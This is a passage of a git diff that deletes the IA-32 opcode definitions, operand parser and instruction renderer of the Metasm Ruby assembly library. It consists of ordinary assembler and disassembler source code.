3dnow prefix fallback - addop '3dnow', [0x0F, 0x0F], :mrmmmx, {}, :u8 - - addop 'femms', [0x0F, 0x0E] - addop 'prefetch', [0x0F, 0x0D, 0<<3], :modrmA - addop 'prefetchw', [0x0F, 0x0D, 1<<3], :modrmA - end - - def init_sse_only - init_cpu_constants - - addop_macrossps 'addps', [0x0F, 0xA8], :mrmxmm - addop 'andnps', [0x0F, 0xAA], :mrmxmm - addop 'andps', [0x0F, 0xA4], :mrmxmm - addop_macrossps 'cmpps', [0x0F, 0xC2], :mrmxmm - addop 'comiss', [0x0F, 0x2F], :mrmxmm - - [['pi2ps', 0x2A], ['ps2pi', 0x2D], ['tps2pi', 0x2C]].each { |str, bin| - addop('cvt' << str, [0x0F, bin], :mrmxmm) { |o| o.args[o.args.index(:modrmxmm)] = :modrmmmx } - addop('cvt' << str.tr('p', 's'), [0x0F, bin], :mrmxmm) { |o| o.args[o.args.index(:modrmxmm)] = :modrm ; o.props[:needpfx] = 0xF3 } - } - - addop_macrossps 'divps', [0x0F, 0x5E], :mrmxmm - addop 'ldmxcsr', [0x0F, 0xAE, 2<<3], :modrmA - addop_macrossps 'maxps', [0x0F, 0x5F], :mrmxmm - addop_macrossps 'minps', [0x0F, 0x5D], :mrmxmm - addop('movaps', [0x0F, 0x28], :mrmxmm, {:d => [1, 0]}) { |o| o.args.reverse! } - addop('movd', [0x0F, 0x6E], :mrmxmm, {:d => [1, 4]}) { |o| o.args[o.args.index(:modrmxmm)] = :modrm ; o.args.reverse! ; o.props[:needpfx] = 0x66 } - addop('movdqa', [0x0F, 0x6F], :mrmxmm, {:d => [1, 4]}) { |o| o.args.reverse! ; o.props[:needpfx] = 0x66 } - - # movhlps(reg, reg){nomem} == movlps(reg, mrm){no restriction}... - addop 'movhlps', [0x0F, 0x12], :mrmxmm, {:d => [1, 0]} - addop 'movlps', [0x0F, 0x12], :mrmxmm, {:d => [1, 0]} - addop 'movlhps', [0x0F, 0x16], :mrmxmm, {:d => [1, 0]} - addop 'movhps', [0x0F, 0x16], :mrmxmm, {:d => [1, 0]} - - addop 'movmskps',[0x0F, 0x50, 0xC0], nil, {:reg => [2, 3], :regxmm => [2, 0]}, :regxmm, :reg - addop('movss', [0x0F, 0x10], :mrmxmm, {:d => [1, 0]}) { |o| o.props[:needpfx] = 0xF3 } - addop 'movups', [0x0F, 0x10], :mrmxmm, {:d => [1, 0]} - addop_macrossps 'mulps', [0x0F, 0x59], :mrmxmm - addop 'orps', [0x0F, 0x56], :mrmxmm - addop_macrossps 'rcpps', [0x0F, 0x53], :mrmxmm - addop_macrossps 'rsqrtps',[0x0F, 0x52], :mrmxmm - addop 'shufps', [0x0F, 0xC6], :mrmxmm, {}, :u8 - addop_macrossps 'sqrtps', [0x0F, 0x51], :mrmxmm - addop 'stmxcsr', [0x0F, 0xAE, 3<<3], :modrmA - addop_macrossps 'subps', [0x0F, 0x5C], :mrmxmm - addop 'ucomiss', [0x0F, 0x2E], :mrmxmm - addop 'unpckhps',[0x0F, 0x15], :mrmxmm - addop 'unpcklps',[0x0F, 0x14], :mrmxmm - addop 'xorps', [0x0F, 0x57], :mrmxmm - - # start of integer instruction (accept opsz override prefix to access xmm) - addop('pavgb', [0x0F, 0xE0], :mrmmmx) { |o| o.props[:xmmx] = true } - addop('pavgw', [0x0F, 0xE3], :mrmmmx) { |o| o.props[:xmmx] = true } -# TODO addop('pextrw', [0x0F, 0xC5], :mrmmmx) { |o| o.fields[:reg] = o.fields.delete(:regmmx) } { |o| o.props[:xmmx] = true ; o.args << :u8 } -# addop('pinsrw', [0x0F, 0xC4], :mrmmmx) { |o| o.fields[:reg] = o.fields.delete(:regmmx) } { |o| o.props[:xmmx] = true ; o.args << :u8 } - addop('pmaxsw', [0x0F, 0xEE], :mrmmmx) { |o| o.props[:xmmx] = true } - addop('pmaxub', [0x0F, 0xDE], :mrmmmx) { |o| o.props[:xmmx] = true } - addop('pminsw', [0x0F, 0xEA], :mrmmmx) { |o| o.props[:xmmx] = true } - addop('pminub', [0x0F, 0xDA], :mrmmmx) { |o| o.props[:xmmx] = true } -# addop('pmovmskb',[0x0F, 0xD4], :mrmmmx) { |o| o.fields[:reg] = o.fields.delete(:regmmx) } ) { |o| o.props[:xmmx] = true } # no mem ref in the mrm - addop('pmulhuw', [0x0F, 0xE4], :mrmmmx) { |o| o.props[:xmmx] = true } - addop('psadbw', [0x0F, 0xF6], :mrmmmx) { |o| o.props[:xmmx] = true } - addop('pshufw', [0x0F, 0x70], :mrmmmx) { |o| o.props[:xmmx] = true ; o.args << :u8 } - addop('maskmovq',[0x0F, 0xF7], :mrmmmx) { |o| o.props[:xmmx] = true } # nomem - addop('movntq', [0x0F, 0xE7], :mrmmmx) { |o| o.props[:xmmx] = true } - addop 'movntps', [0x0F, 0x2B], :mrmxmm - addop 'prefetcht0', [0x0F, 0x18, 1<<3], :modrmA - addop 'prefetcht1', [0x0F, 0x18, 2<<3], :modrmA - addop 'prefetcht2', [0x0F, 0x18, 3<<3], :modrmA - addop 'prefetchnta',[0x0F, 0x18, 0<<3], :modrmA - addop 'sfence', [0x0F, 0xAE, 0xF8] - end - - # XXX must be done after init_sse (patches :regmmx opcodes) - # TODO complete the list - def init_sse2_only - init_cpu_constants - - @opcode_list.each { |o| o.props[:xmmx] = true if o.args.include? :regmmx and o.args.include? :modrmmmx } - - # TODO <..blabla...integer...blabla..> - - # nomem - addop('clflush', [0x0F, 0xAE, 7<<3], :modrmA) { |o| o.props[:argsz] = 8 } - addop('maskmovdqu', [0x0F, 0xF7], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('movntpd', [0x0F, 0x2B], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('movntdq', [0x0F, 0xE7], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop 'movnti', [0x0F, 0xC3], :mrm - addop('pause', [0x90]) { |o| o.props[:needpfx] = 0xF3 } - addop 'lfence', [0x0F, 0xAE, 0xE8] - addop 'mfence', [0x0F, 0xAE, 0xF0] - end - - def init_sse3_only - init_cpu_constants - - addop('addsubpd', [0x0F, 0xD0], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('addsubps', [0x0F, 0xD0], :mrmxmm) { |o| o.props[:needpfx] = 0xF2 } - addop('haddpd', [0x0F, 0x7C], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('haddps', [0x0F, 0x7C], :mrmxmm) { |o| o.props[:needpfx] = 0xF2 } - addop('hsubpd', [0x0F, 0x7D], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('hsubps', [0x0F, 0x7D], :mrmxmm) { |o| o.props[:needpfx] = 0xF2 } - - addop 'monitor', [0x0F, 0x01, 0xC8] - addop 'mwait', [0x0F, 0x01, 0xC9] - - addop('fisttp', [0xDF, 1<<3], :modrmA) { |o| o.props[:argsz] = 16 } - addop('fisttp', [0xDB, 1<<3], :modrmA) { |o| o.props[:argsz] = 32 } - addop('fisttp', [0xDD, 1<<3], :modrmA) { |o| o.props[:argsz] = 64 } - addop('lddqu', [0x0F, 0xF0], :mrmxmm) { |o| o.args[o.args.index(:modrmxmm)] = :modrmA ; o.props[:needpfx] = 0xF2 } - addop('movddup', [0x0F, 0x12], :mrmxmm) { |o| o.props[:needpfx] = 0xF2 } - addop('movshdup', [0x0F, 0x16], :mrmxmm) { |o| o.props[:needpfx] = 0xF3 } - addop('movsldup', [0x0F, 0x12], :mrmxmm) { |o| o.props[:needpfx] = 0xF3 } - end - - def init_vmx_only - init_cpu_constants - - addop 'vmcall', [0x0F, 0x01, 0xC1] - addop 'vmlaunch', [0x0F, 0x01, 0xC2] - addop 'vmresume', [0x0F, 0x01, 0xC3] - addop 'vmxoff', [0x0F, 0x01, 0xC4] - addop 'vmread', [0x0F, 0x78], :mrm - addop 'vmwrite', [0x0F, 0x79], :mrm - addop('vmclear', [0x0F, 0xC7, 6<<3], :modrmA) { |o| o.props[:argsz] = 64 ; o.props[:needpfx] = 0x66 } - addop('vmxon', [0x0F, 0xC7, 6<<3], :modrmA) { |o| o.props[:argsz] = 64 ; o.props[:needpfx] = 0xF3 } - addop('vmptrld', [0x0F, 0xC7, 6<<3], :modrmA) { |o| o.props[:argsz] = 64 } - addop('vmptrrst', [0x0F, 0xC7, 7<<3], :modrmA) { |o| o.props[:argsz] = 64 } - addop('invept', [0x0F, 0x38, 0x80], :mrmA) { |o| o.props[:needpfx] = 0x66 } - addop('invvpid', [0x0F, 0x38, 0x81], :mrmA) { |o| o.props[:needpfx] = 0x66 } - - addop 'getsec', [0x0F, 0x37] - - addop('movbe', [0x0F, 0x38, 0xF0], :mrm, { :d => [2, 0] }) { |o| o.args.reverse! } - addop 'xgetbv', [0x0F, 0x01, 0xD0] - addop 'xsetbv', [0x0F, 0x01, 0xD1] - addop 'rdtscp', [0x0F, 0x01, 0xF9] - addop 'xrstor', [0x0F, 0xAE, 5<<3], :modrmA - addop 'xsave', [0x0F, 0xAE, 4<<3], :modrmA - addop 'nop', [0x0F, 0x1F], 0 # which family does this belong to ? - end - - def init_sse42_only - init_cpu_constants - - addop('crc32', [0x0F, 0x38, 0xF0], :mrmw) { |o| o.props[:needpfx] = 0xF2 } - addop('pcmpestrm', [0x0F, 0x3A, 0x60], :mrmxmm, {}, :i8) { |o| o.props[:needpfx] = 0x66 } - addop('pcmpestri', [0x0F, 0x3A, 0x61], :mrmxmm, {}, :i8) { |o| o.props[:needpfx] = 0x66 } - addop('pcmpistrm', [0x0F, 0x3A, 0x62], :mrmxmm, {}, :i8) { |o| o.props[:needpfx] = 0x66 } - addop('pcmpistri', [0x0F, 0x3A, 0x63], :mrmxmm, {}, :i8) { |o| o.props[:needpfx] = 0x66 } - addop('pcmpgtq', [0x0F, 0x38, 0x37], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('popcnt', [0x0F, 0xB8], :mrmxmm) { |o| o.props[:needpfx] = 0xF3 } - end - - - # - # CPU family dependencies - # - - def init_386_common - init_386_common_only - end - - def init_386 - init_386_common - init_386_only - end - - def init_387 - init_387_only - end - - def init_486 - init_386 - init_387 - init_486_only - end - - def init_pentium - init_486 - init_pentium_only - end - - def init_3dnow - init_pentium - init_3dnow_only - end - - def init_p6 - init_pentium - init_p6_only - end - - def init_sse - init_p6 - init_sse_only - end - - def init_sse2 - init_sse - init_sse2_only - end - - def init_sse3 - init_sse2 - init_sse3_only - end - - def init_vmx - init_sse3 - init_vmx_only - end - - def init_all - init_vmx - init_sse42_only - init_3dnow_only - end - - alias init_latest init_all - - - # - # addop_* macros - # - - def addop_macro1(name, num, immtype=:i) - addop name, [(num << 3) | 4], nil, {:w => [0, 0]}, :reg_eax, immtype - addop name, [num << 3], :mrmw, {:d => [0, 1]} - addop name, [0x80], num, {:w => [0, 0], :s => [0, 1]}, immtype - end - def addop_macro2(name, num) - addop name, [0x0F, 0xBA], (4 | num), {}, :u8 - addop(name, [0x0F, 0xA3 | (num << 3)], :mrm) { |op| op.args.reverse! } - end - def addop_macro3(name, num) - addop name, [0xD0], num, {:w => [0, 0]}, :imm_val1 - addop name, [0xD2], num, {:w => [0, 0]}, :reg_cl - addop name, [0xC0], num, {:w => [0, 0]}, :u8 - end - - def addop_macrotttn(name, bin, hint, fields = {}, *props, &blk) - [%w{o}, %w{no}, %w{b nae c}, %w{nb ae nc}, - %w{z e}, %w{nz ne}, %w{be na}, %w{nbe a}, - %w{s}, %w{ns}, %w{p pe}, %w{np po}, - %w{l nge}, %w{nl ge}, %w{le ng}, %w{nle g}].each_with_index { |e, i| - b = bin.dup - if b[0] == 0x0F - b[1] |= i - else - b[0] |= i - end - - e.each { |k| addop(name + k, b.dup, hint, fields.dup, *props, &blk) } - } - end - - def addop_macrostr(name, bin, type) - # addop(name, bin.dup, {:w => [0, 0]}) { |o| o.props[type] = true } # TODO allow segment override - addop(name+'b', bin) { |o| o.props[:opsz] = 16 ; o.props[type] = true } - addop(name+'b', bin) { |o| o.props[:opsz] = 32 ; o.props[type] = true } - bin = bin.dup - bin[0] |= 1 - addop(name+'w', bin) { |o| o.props[:opsz] = 16 ; o.props[type] = true } - addop(name+'d', bin) { |o| o.props[:opsz] = 32 ; o.props[type] = true } - end - - def addop_macrofpu1(name, n) - addop(name, [0xD8, n<<3], :modrmA, {}, :regfp0) { |o| o.props[:argsz] = 32 } - addop(name, [0xDC, n<<3], :modrmA, {}, :regfp0) { |o| o.props[:argsz] = 64 } - addop name, [0xD8, 0xC0|(n<<3)], :regfp, {:d => [0, 2]} - end - def addop_macrofpu2(name, n, n2=0) - addop(name, [0xDE|n2, n<<3], :modrmA, {}, :regfp0) { |o| o.props[:argsz] = 16 } - addop(name, [0xDA|n2, n<<3], :modrmA, {}, :regfp0) { |o| o.props[:argsz] = 32 } - end - def addop_macrofpu3(name, n) - addop_macrofpu2 name, n, 1 - addop(name, [0xDF, 0x28|(n<<3)], :modrmA, {}, :regfp0) { |o| o.props[:argsz] = 64 } - end - - def addop_macrogg(ggrng, name, bin, *args, &blk) - ggrng.each { |gg| - bindup = bin.dup - bindup[1] |= gg - sfx = %w(b w d q)[gg] - addop name+sfx, bindup, *args, &blk - } - end - - def addop_macrommx(ggrng, name, val) - addop_macrogg ggrng, name, [0x0F, 0xC0 | (val << 4)], :mrmmmx - addop_macrogg ggrng, name, [0x0F, 0x70, 0xC0 | (val << 4)], nil, {:regmmx => [2, 0]}, :u8 - end - - def addop_macrossps(name, bin, hint) - # don't allow fields argument, as this will be modified by addop (.dup it if needed) - addop name, bin, hint - addop(name.tr('p', 's'), bin, hint) { |o| o.props[:needpfx] = 0xF3 } - end - - # helper function: creates a new Opcode based on the arguments, eventually - # yields it for further customisation, and append it to the instruction set - # is responsible of the creation of disambiguating opcodes if necessary (:s flag hardcoding) - def addop(name, bin, hint=nil, fields={}, *argprops) - op = Opcode.new name, bin - op.fields.replace fields - - case hint - when nil - - when :mrm, :mrmw, :mrmA - h = (hint == :mrmA ? :modrmA : :modrm) - op.fields[:reg] = [bin.length, 3] - op.fields[h] = [bin.length, 0] - op.fields[:w] = [bin.length - 1, 0] if hint == :mrmw - argprops.unshift :reg, h - op.bin << 0 - when :reg - op.fields[:reg] = [bin.length-1, 0] - argprops.unshift :reg - when :regfp - op.fields[:regfp] = [bin.length-1, 0] - argprops.unshift :regfp, :regfp0 - when :modrmA - op.fields[:modrmA] = [bin.length-1, 0] - argprops << :modrmA - - when Integer # mod/m, reg == opcode extension = hint - op.fields[:modrm] = [bin.length, 0] - op.bin << (hint << 3) - argprops.unshift :modrm - - when :mrmmmx - op.fields[:regmmx] = [bin.length, 3] - op.fields[:modrm] = [bin.length, 0] - bin << 0 - argprops.unshift :regmmx, :modrmmmx - when :mrmxmm - op.fields[:regxmm] = [bin.length, 3] - op.fields[:modrm] = [bin.length, 0] - bin << 0 - argprops.unshift :regxmm, :modrmxmm - else - raise SyntaxError, "invalid hint #{hint.inspect} for #{name}" - end - - if argprops.index(:u) - argprops << :unsigned_imm - argprops[argprops.index(:u)] = :i - end - - (argprops & @valid_props).each { |p| op.props[p] = true } - argprops -= @valid_props - - op.args.concat(argprops & @valid_args) - argprops -= @valid_args - - raise "Invalid opcode definition: #{name}: unknown #{argprops.inspect}" unless argprops.empty? - - yield op if block_given? - - argprops = (op.props.keys - @valid_props) + (op.args - @valid_args) + (op.fields.keys - @fields_mask.keys) - raise "Invalid opcode customisation: #{name}: #{argprops.inspect}" unless argprops.empty? - - addop_post(op) - end - - # this recursive method is in charge of Opcode duplication (eg to hardcode some flag) - def addop_post(op) - dupe = lambda { |o| - dop = Opcode.new o.name.dup - dop.bin, dop.fields, dop.props, dop.args = o.bin.dup, o.fields.dup, o.props.dup, o.args.dup - dop - } - if df = op.fields.delete(:d) - # hardcode the bit - dop = dupe[op] - dop.args.reverse! - addop_post dop - - op.bin[df[0]] |= 1 << df[1] - addop_post op - - return - elsif wf = op.fields.delete(:w) - # hardcode the bit - dop = dupe[op] - dop.props[:argsz] = 8 - addop_post dop - - op.bin[wf[0]] |= 1 << wf[1] - addop_post op - - return - elsif sf = op.fields.delete(:s) - # add explicit choice versions, with lower precedence (so that disassembling will return the general version) - # eg "jmp", "jmp.i8", "jmp.i" - # also hardcode the bit - op32 = op - addop_post op32 - - op8 = dupe[op] - op8.bin[sf[0]] |= 1 << sf[1] - op8.args.map! { |arg| arg == :i ? :i8 : arg } - addop_post op8 - - op32 = dupe[op32] - op32.name << '.i' - addop_post op32 - - op8 = dupe[op8] - op8.name << '.i8' - addop_post op8 - - return - elsif op.args.first == :regfp0 - dop = dupe[op] - dop.args.delete :regfp0 - addop_post dop - end - - if op.props[:needpfx] and @opcode_list.find { |oo| oo.name == op.name and not oo.props[:needpfx] } - @opcode_list.unshift op - else - @opcode_list << op - end - - if op.args == [:i] or op.args == [:farptr] or op.name[0, 3] == 'ret' - # define opsz-override version for ambiguous opcodes - op16 = dupe[op] - op16.name << '.i16' - op16.props[:opsz] = 16 - @opcode_list << op16 - op32 = dupe[op] - op32.name << '.i32' - op32.props[:opsz] = 32 - @opcode_list << op32 - elsif op.props[:strop] or op.props[:stropz] or op.args.include? :mrm_imm or - op.args.include? :modrm or op.args.include? :modrmA or op.name =~ /loop|xlat/ - # define adsz-override version for ambiguous opcodes (TODO allow movsd edi / movsd di syntax) - # XXX loop pfx 67 = eip+cx, 66 = ip+ecx - op16 = dupe[op] - op16.name << '.a16' - op16.props[:adsz] = 16 - @opcode_list << op16 - op32 = dupe[op] - op32.name << '.a32' - op32.props[:adsz] = 32 - @opcode_list << op32 - end - end -end -end diff --git a/lib/metasm/metasm/ia32/parse.rb b/lib/metasm/metasm/ia32/parse.rb deleted file mode 100644 index 9dccfcf554..0000000000 --- a/lib/metasm/metasm/ia32/parse.rb +++ /dev/null @@ -1,327 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/ia32/opcodes' -require 'metasm/ia32/encode' -require 'metasm/parse' - -module Metasm -class Ia32 -class ModRM - # may return a SegReg - # must be called before SegReg parser (which could match only the seg part of a modrm) - def self.parse(lexer, otok, cpu) - tok = otok - - # read operand size specifier - if tok and tok.type == :string and tok.raw =~ /^(?:byte|[dqo]?word|_(\d+)bits)$/ - ptsz = - if $1 - $1.to_i - else - case tok.raw - when 'byte'; 8 - when 'word'; 16 - when 'dword'; 32 - when 'qword'; 64 - when 'oword'; 128 - else raise otok, 'mrm: bad ptr size' - end - end - lexer.skip_space - if tok = lexer.readtok and tok.type == :string and tok.raw == 'ptr' - lexer.skip_space - tok = lexer.readtok - end - end - - # read segment selector - if tok and tok.type == :string and seg = SegReg.s_to_i[tok.raw] - lexer.skip_space - seg = SegReg.new(seg) - if not ntok = lexer.readtok or ntok.type != :punct or ntok.raw != ':' - raise otok, 'invalid modrm' if ptsz - lexer.unreadtok ntok - return seg - end - lexer.skip_space - tok = lexer.readtok - end - - # ensure we have a modrm - if not tok or tok.type != :punct or tok.raw != '[' - raise otok, 'invalid modrm' if ptsz or seg - return - end - lexer.skip_space_eol - - # support fasm syntax [fs:eax] for segment selector - if tok = lexer.readtok and tok.type == :string and not seg and seg = SegReg.s_to_i[tok.raw] - raise otok, 'invalid modrm' if not ntok = lexer.readtok or ntok.type != :punct or ntok.raw != ':' - seg = SegReg.new(seg) - lexer.skip_space_eol - else - lexer.unreadtok tok - end - - # read modrm content as generic expression - content = Expression.parse(lexer) - lexer.skip_space_eol - raise(otok, 'bad modrm') if not content or not ntok = lexer.readtok or ntok.type != :punct or ntok.raw != ']' - - # converts matching externals to Regs in an expression - regify = lambda { |o| - case o - when Expression - o.lexpr = regify[o.lexpr] - o.rexpr = regify[o.rexpr] - o - when String - cpu.str_to_reg(o) || o - else o - end - } - - s = i = b = imm = nil - - # assigns the Regs in the expression to base or index field of the modrm - walker = lambda { |o| - case o - when nil - when Reg - if b - raise otok, 'mrm: too many regs' if i - i = o - s = 1 - else - b = o - end - when Expression - if o.op == :* and (o.rexpr.kind_of? Reg or o.lexpr.kind_of? Reg) - # scaled index - raise otok, 'mrm: too many indexes' if i - s = o.lexpr - i = o.rexpr - s, i = i, s if s.kind_of? Reg - raise otok, 'mrm: bad scale' unless s.kind_of? Integer - elsif o.op == :+ - # recurse - walker[o.lexpr] - walker[o.rexpr] - else - # found (a part of) the immediate - imm = Expression[imm, :+, o] - end - else - # found (a part of) the immediate - imm = Expression[imm, :+, o] - end - } - - # do it - walker[regify[content.reduce]] - - # ensure found immediate is really an immediate - raise otok, 'mrm: reg in imm' if imm.kind_of? Expression and not imm.externals.grep(Reg).empty? - - # find default address size - adsz = b ? b.sz : i ? i.sz : nil - # ptsz may be nil now, will be fixed up later (in parse_instr_fixup) to match another instruction argument's size - new adsz, ptsz, s, i, b, imm, seg - end -end - - - # handles cpu-specific parser instruction, falls back to Ancestor's version if unknown keyword - # XXX changing the cpu size in the middle of the code may have baaad effects... - def parse_parser_instruction(lexer, instr) - case instr.raw.downcase - when '.mode', '.bits' - lexer.skip_space - if tok = lexer.readtok and tok.type == :string and (tok.raw == '16' or tok.raw == '32') - @size = tok.raw.to_i - lexer.skip_space - raise instr, 'syntax error' if ntok = lexer.nexttok and ntok.type != :eol - else - raise instr, 'invalid cpu mode' - end - else super(lexer, instr) - end - end - - def parse_prefix(i, pfx) - # XXX check for redefinition ? - # implicit 'true' return value when assignment occur - i.prefix ||= {} - case pfx - when 'lock'; i.prefix[:lock] = true - when 'rep'; i.prefix[:rep] = 'rep' - when 'repe', 'repz'; i.prefix[:rep] = 'repz' - when 'repne', 'repnz'; i.prefix[:rep] = 'repnz' - when 'code16'; i.prefix[:sz] = 16 - when 'code32'; i.prefix[:sz] = 32 - end - end - - def parse_argregclasslist - [Reg, SimdReg, SegReg, DbgReg, CtrlReg, FpReg] - end - def parse_modrm(lex, tok, cpu) - ModRM.parse(lex, tok, cpu) - end - - # parses an arbitrary ia32 instruction argument - def parse_argument(lexer) - lexer = AsmPreprocessor.new(lexer) if lexer.kind_of? String - - # reserved names (registers/segments etc) - @args_token ||= parse_argregclasslist.map { |a| a.s_to_i.keys }.flatten.inject({}) { |h, e| h.update e => true } - - lexer.skip_space - return if not tok = lexer.readtok - - if tok.type == :string and tok.raw == 'ST' - lexer.skip_space - if ntok = lexer.readtok and ntok.type == :punct and ntok.raw == '(' - lexer.skip_space - if not nntok = lexer.readtok or nntok.type != :string or nntok.raw !~ /^[0-9]$/ or - not ntok = (lexer.skip_space; lexer.readtok) or ntok.type != :punct or ntok.raw != ')' - raise tok, 'invalid FP register' - else - tok.raw << '(' << nntok.raw << ')' - fpr = parse_argregclasslist.last - if fpr.s_to_i.has_key? tok.raw - return fpr.new(fpr.s_to_i[tok.raw]) - else - raise tok, 'invalid FP register' - end - end - else - lexer.unreadtok ntok - end - end - - if ret = parse_modrm(lexer, tok, self) - ret - elsif @args_token[tok.raw] - parse_argregclasslist.each { |a| - return a.from_str(tok.raw) if a.s_to_i.has_key? tok.raw - } - raise tok, 'internal error' - else - lexer.unreadtok tok - expr = Expression.parse(lexer) - lexer.skip_space - - # may be a farptr - if expr and ntok = lexer.readtok and ntok.type == :punct and ntok.raw == ':' - raise tok, 'invalid farptr' if not addr = Expression.parse(lexer) - Farptr.new expr, addr - else - lexer.unreadtok ntok - Expression[expr.reduce] if expr - end - end - end - - # check if the argument matches the opcode's argument spec - def parse_arg_valid?(o, spec, arg) - if o.name == 'movsx' or o.name == 'movzx' - if not arg.kind_of? Reg and not arg.kind_of? ModRM - return - elsif not arg.sz - puts "ambiguous arg size for indirection in #{o.name}" if $VERBOSE - return - elsif spec == :reg # reg=dst, modrm=src (smaller) - return (arg.kind_of? Reg and arg.sz >= 16) - elsif o.props[:argsz] - return arg.sz == o.props[:argsz] - else - return arg.sz <= 16 - end - end - - return false if arg.kind_of? ModRM and arg.adsz and o.props[:adsz] and arg.adsz != o.props[:adsz] - - cond = true - if s = o.props[:argsz] and (arg.kind_of? Reg or arg.kind_of? ModRM) - cond = (!arg.sz or arg.sz == s or spec == :reg_dx) - end - - cond and - case spec - when :reg; arg.kind_of? Reg and (arg.sz >= 16 or o.props[:argsz]) - when :modrm; (arg.kind_of? ModRM or arg.kind_of? Reg) and (!arg.sz or arg.sz >= 16 or o.props[:argsz]) - when :i; arg.kind_of? Expression - when :imm_val1; arg.kind_of? Expression and arg.reduce == 1 - when :imm_val3; arg.kind_of? Expression and arg.reduce == 3 - when :reg_eax; arg.kind_of? Reg and arg.val == 0 - when :reg_cl; arg.kind_of? Reg and arg.val == 1 and arg.sz == 8 - when :reg_dx; arg.kind_of? Reg and arg.val == 2 and arg.sz == 16 - when :seg3; arg.kind_of? SegReg - when :seg3A; arg.kind_of? SegReg and arg.val > 3 - when :seg2; arg.kind_of? SegReg and arg.val < 4 - when :seg2A; arg.kind_of? SegReg and arg.val < 4 and arg.val != 1 - when :eeec; arg.kind_of? CtrlReg - when :eeed; arg.kind_of? DbgReg - when :modrmA; arg.kind_of? ModRM - when :mrm_imm; arg.kind_of? ModRM and not arg.s and not arg.i and not arg.b - when :farptr; arg.kind_of? Farptr - when :regfp; arg.kind_of? FpReg - when :regfp0; arg.kind_of? FpReg and (arg.val == nil or arg.val == 0) - when :modrmmmx; arg.kind_of? ModRM or (arg.kind_of? SimdReg and (arg.sz == 64 or (arg.sz == 128 and o.props[:xmmx]))) - when :regmmx; arg.kind_of? SimdReg and (arg.sz == 64 or (arg.sz == 128 and o.props[:xmmx])) - when :modrmxmm; arg.kind_of? ModRM or (arg.kind_of? SimdReg and arg.sz == 128) - when :regxmm; arg.kind_of? SimdReg and arg.sz == 128 - when :i8, :u8, :u16 - arg.kind_of? Expression and - (o.props[:setip] or Expression.in_range?(arg, spec) != false) # true or nil allowed - # jz 0x28282828 may fit in :i8 depending on instr addr - else raise EncodeError, "Internal error: unknown argument specification #{spec.inspect}" - end - end - - def parse_instruction_checkproto(i) - case i.opname - when 'imul' - if i.args.length == 2 and i.args.first.kind_of? Reg and i.args.last.kind_of? Expression - i.args.unshift i.args.first.dup - end - end - super(i) - end - - # fixup the sz of a modrm argument, defaults to other argument size or current cpu mode - def parse_instruction_fixup(i) - if m = i.args.grep(ModRM).first and not m.sz - if i.opname == 'movzx' or i.opname == 'movsx' - m.sz = 8 - else - if r = i.args.grep(Reg).first - m.sz = r.sz - elsif opcode_list_byname[i.opname].all? { |o| o.props[:argsz] } - m.sz = opcode_list_byname[i.opname].first.props[:argsz] - else - # this is also the size of ctrlreg/dbgreg etc - # XXX fpu/simd ? - m.sz = i.prefix[:sz] || @size - end - end - end - if m and not m.adsz - if opcode_list_byname[i.opname].all? { |o| o.props[:adsz] } - m.adsz = opcode_list_byname[i.opname].first.props[:adsz] - else - m.adsz = i.prefix[:sz] || @size - end - end - end - - def instr_uncond_jump_to(target) - parse_instruction("jmp #{target}") - end -end -end diff --git a/lib/metasm/metasm/ia32/render.rb b/lib/metasm/metasm/ia32/render.rb deleted file mode 100644 index d0c7cc7c93..0000000000 --- a/lib/metasm/metasm/ia32/render.rb +++ /dev/null @@ -1,91 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/ia32/opcodes' -require 'metasm/render' - -# XXX move context in another file ? -module Metasm -class Ia32 - class Argument - include Renderable - end - - [SegReg, DbgReg, CtrlReg, FpReg].each { |c| c.class_eval { - def render ; [self.class.i_to_s[@val]] end - } } - [Reg, SimdReg].each { |c| c.class_eval { - def render ; [self.class.i_to_s[@sz][@val]] end - def context ; {'set sz' => lambda { |s| @sz = s }} end - } } - - class Farptr - def render - [@seg, ':', @addr] - end - end - - class ModRM - def qualifier(sz) - { - 8 => 'byte', - 16 => 'word', - 32 => 'dword', - 64 => 'qword', - 128 => 'oword' - }.fetch(sz) { |k| "_#{sz}bits" } - end - - attr_accessor :instruction - def render - r = [] - r << ( qualifier(@sz) << ' ptr ' ) if @sz and (not instruction or not @instruction.args.find { |a| a.kind_of? Reg and a.sz == @sz }) - r << @seg << ':' if seg - - e = nil - e = Expression[e, :+, @b] if b - e = Expression[e, :+, @imm] if imm - e = Expression[e, :+, (@s == 1 ? @i : [@s, :*, @i])] if s - r << '[' << e << ']' - end - - def context - {'set targetsz' => lambda { |s| @sz = s }, - 'set seg' => lambda { |s| @seg = Seg.new s }} - end - end - - def render_instruction(i) - r = [] - r << 'lock ' if i.prefix and i.prefix[:lock] - r << i.prefix[:rep] << ' ' if i.prefix and i.prefix[:rep] - r << i.opname - i.args.each { |a| - a.instruction = i if a.kind_of? ModRM - r << (r.last == i.opname ? ' ' : ', ') << a - } - r - end - - def instruction_context(i) - # XXX - h = {} - op = opcode_list_byname[i.opname].first - if i.prefix and i.prefix[:rep] - h['toogle repz'] = lambda { i.prefix[:rep] = {'repnz' => 'repz', 'repz' => 'repnz'}[i.prefix[:rep]] } if op.props[:stropz] - h['rm rep'] = lambda { i.prefix.delete :rep } - else - h['set rep'] = lambda { (i.prefix ||= {})[:rep] = 'rep' } if op.props[:strop] - h['set rep'] = lambda { (i.prefix ||= {})[:rep] = 'repz' } if op.props[:stropz] - end - if i.args.find { |a| a.kind_of? ModRM and a.seg } - h['rm seg'] = lambda { i.args.find { |a| a.kind_of? ModRM and a.seg }.seg = nil } - end - h['toggle lock'] = lambda { (i.prefix ||= {})[:lock] = !i.prefix[:lock] } - h - end -end -end diff --git a/lib/metasm/metasm/main.rb b/lib/metasm/metasm/main.rb index a543f6f055..ae8541f59f 100644 --- a/lib/metasm/metasm/main.rb +++ 